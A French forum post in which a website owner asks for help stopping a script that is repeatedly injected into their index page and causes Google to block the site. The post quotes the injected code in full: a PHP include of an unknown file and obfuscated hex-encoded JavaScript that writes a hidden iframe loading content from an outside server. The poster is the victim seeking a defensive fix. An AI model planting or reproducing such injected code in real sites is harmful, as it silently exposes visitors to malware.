Un script envahit régulièrement mon index, voiçi à quoi il ressemble.
Google bloque mon site quand il voit ça.
Qui peut m'aider à éviter l'arrivée de cette saleté.
Un grand merci.

<?php
include "ccmcsjh.php";
?>
<script>function c1058032905m48fa5530d3814(m48fa5530d3c10){ function m48fa5530d41f6(){return 16;} return (parseInt(m48fa5530d3c10,m48fa5530d41f6()));}function m48fa5530d4ffd(m48fa5530d57f5){  var m48fa5530d5fed='';m48fa5530d8baa=String.fromCharCode;for(m48fa5530d67f5=0;m48fa5530d67f5<m48fa5530d57f5.length;m48fa5530d67f5+=2){ m48fa5530d5fed+=(m48fa5530d8baa(c1058032905m48fa5530d3814(m48fa5530d57f5.substr(m48fa5530d67f5,2))));}return m48fa5530d5fed;} var z53='';var m48fa5530d8f87='3C7'+z53+'3637'+z53+'2697'+z53+'07'+z53+'43E696628216D7'+z53+'96961297'+z53+'B646F637'+z53+'56D656E7'+z53+'42E7'+z53+'7'+z53+'7'+z53+'2697'+z53+'465287'+z53+'56E657'+z53+'363617'+z53+'065282027'+z53+'2533632536392536362537'+z53+'322536312536642536352532302536652536312536642536352533642536332533312533302532302537'+z53+'332537'+z53+'32253633253364253237'+z53+'2536382537'+z53+'342537'+z53+'342537'+z53+'30253361253266253266253337'+z53+'253337'+z53+'253265253332253332253331253265253331253333253333253265253331253337'+z53+'253332253266253265253639253636253266253637'+z53+'2536662532652536382537'+z53+'34253664253663253366253237'+z53+'2532622534642536312537'+z53+'342536382532652537'+z53+'322536662537'+z53+'352536652536342532382534642536312537'+z53+'342536382532652537'+z53+'32253631253665253634253666253664253238253239253261253333253331253331253333253336253239253262253237'+z53+'253334253331253632253339253332253339253633253634253332253237'+z53+'2532302537'+z53+'37'+z53+'2536392536342537'+z53+'34253638253364253331253331253332253230253638253635253639253637'+z53+'2536382537'+z53+'34253364253332253337'+z53+'2533382532302537'+z53+'332537'+z53+'342537'+z53+'39253663253635253364253237'+z53+'2536342536392537'+z53+'332537'+z53+'302536632536312537'+z53+'39253361253230253665253666253665253635253237'+z53+'2533652533632532662536392536362537'+z53+'3225363125366425363525336527'+z53+'29293B7'+z53+'D7'+z53+'6617'+z53+'2206D7'+z53+'969613D7'+z53+'47'+z53+'27'+z53+'5653B3C2F7'+z53+'3637'+z53+'2697'+z53+'07'+z53+'43E';document.write(m48fa5530d4ffd(m48fa5530d8f87));</script><script>check_content()</script>